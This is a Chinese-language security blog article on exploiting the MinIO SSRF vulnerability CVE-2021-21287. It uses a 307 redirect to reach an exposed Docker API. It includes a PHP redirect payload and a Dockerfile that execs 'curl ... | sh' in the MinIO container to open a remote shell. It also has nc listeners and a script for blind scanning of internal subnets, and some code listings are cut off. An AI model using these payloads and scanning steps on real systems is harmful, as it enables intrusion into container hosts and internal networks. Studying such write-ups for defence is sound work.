文章首发于火线安全
地址http://zone.huoxian.cn/d/2801-minio-ssrf-docker-api
前言
Minio SSRF漏洞-CVE-2021-21287,由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞。
但这个漏洞没有回显,利用起来也比较麻烦,目前已知的利用方式是用重定向去打docker api和内网的其他服务。
在不知道docker集群地址的情况下,也只能通过盲打的方式去碰运气了。
漏洞复现
漏洞验证
服务器开启NC监听
sudo nc -lvp 80
发送如下数据包,将HOST头修改为服务器地址
1 | POST /minio/webrpc HTTP/1.1 |
若NC有反应,则漏洞存在
漏洞利用
这个漏洞利用主要通过307的可控路径重定向让目标去请求指定服务
可以先来尝试一下,编辑index.php,输入以下内容
1 |
|
开启一个简单的http服务
php -S 0.0.0.0:80
我们让其重定向去访问 http://192.168.203.130:8080
在192.168.203.130的8080端口启动NC监听
sudo nc -lvp 8080
发送数据包
1 | POST /minio/webrpc HTTP/1.1 |

可以看到我们的8080端口确实收到了请求
利用过程如图

这里黑客指定地址如上面的代码,也就是http://192.168.203.130:8080,假如我们把这个地址换为其他地址呢,比如docker api或者内网其他服务的地址。
现在尝试攻击docker api的2375端口
在黑客服务器上编辑index.php文件,内容如下
<?php
header('Location: http://192.168.203.130:2375/build?remote=http://192.168.203.130/Dockerfile&nocache=true&t=evil:1', false, 307);
这里的两个地址需要做一个说明,我这里为了方便在一台机子上做的测试,在实际环境中地址不同。
- http://192.168.203.130:2375/build docker api的地址
- remote=http://192.168.203.130/Dockerfile 黑客服务器的地址
编辑Dockerfile文件,内容如下
1 | FROM alpine:3.13 |
其中target为 docker api的地址,execid下的反弹shell要修改为自己服务器监听地址
我们在自己的服务器开启简单php服务和nc监听
sudo php -S 0.0.0.0:80
sudo nc -lvp 8080
再次发送数据包
1 | POST /minio/webrpc HTTP/1.1 |

可以看到,已经成功的请求了我们的恶意dockerfile文件,并获得了一个shell
自动化盲打
那么问题来了,这里作为测试我们知道docker api的地址为192.168.203.130,在实际环境中我们是不知道docker集群的api地址的,甚至连有没有docker集群都不一定,这个时候就只能盲打碰碰运气了
难点在于要利用这个漏洞不断地向我们的服务器获取重定向的地址,服务器端要不断的刷新这个重定向的地址。
为此写了一个简单的盲打脚本
1 | import os |
- 将给脚本放到服务器上,在当前目录还需要另外两个文件
- Dockerfile
- index.php
index.php的文件内容
1 |
|
注意修改remote地址为自己服务器的地址
Dockfile文件内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.203.143:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"curl http://192.168.203.143:13338 | sh\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash注意修改这串命令
curl http://192.168.203.143:13338 | sh这里可以使用nc的反弹命令,但nc长时间监听被别人扫描会有一些花里胡哨的东西,且nc只能管理单个shell,这里我用了一款shell管理器 platypus
启动 platypus,便会生成链接地址
./platypus_linux_amd64

将生成的命令替换为dockerfile的命令即可
修改脚本相关注释内容即可

我只设置了爆破c段,我觉得挑几个常见的c段爆破一下碰下运气就行了,没必要弄那么大的动静把内网来一遍

确保这个目录下存在这三个文件,开启相关服务就可以直接运行脚本了

php -S 0.0.0.0:80
python3 minio.py

可以看到目标最终请求了我们的Dockerfile文件
platypu也成功获得了一个shell

演示视频
总结
当然也不只局限于用来打docker api,也可以利用常规的ssrf利用手段来盲打其他服务,改下脚本就行,另外我也只写了爆破c段,盲打这种东西本来就是靠运气的,大家也可以改改脚本来爆破b段。
参考文献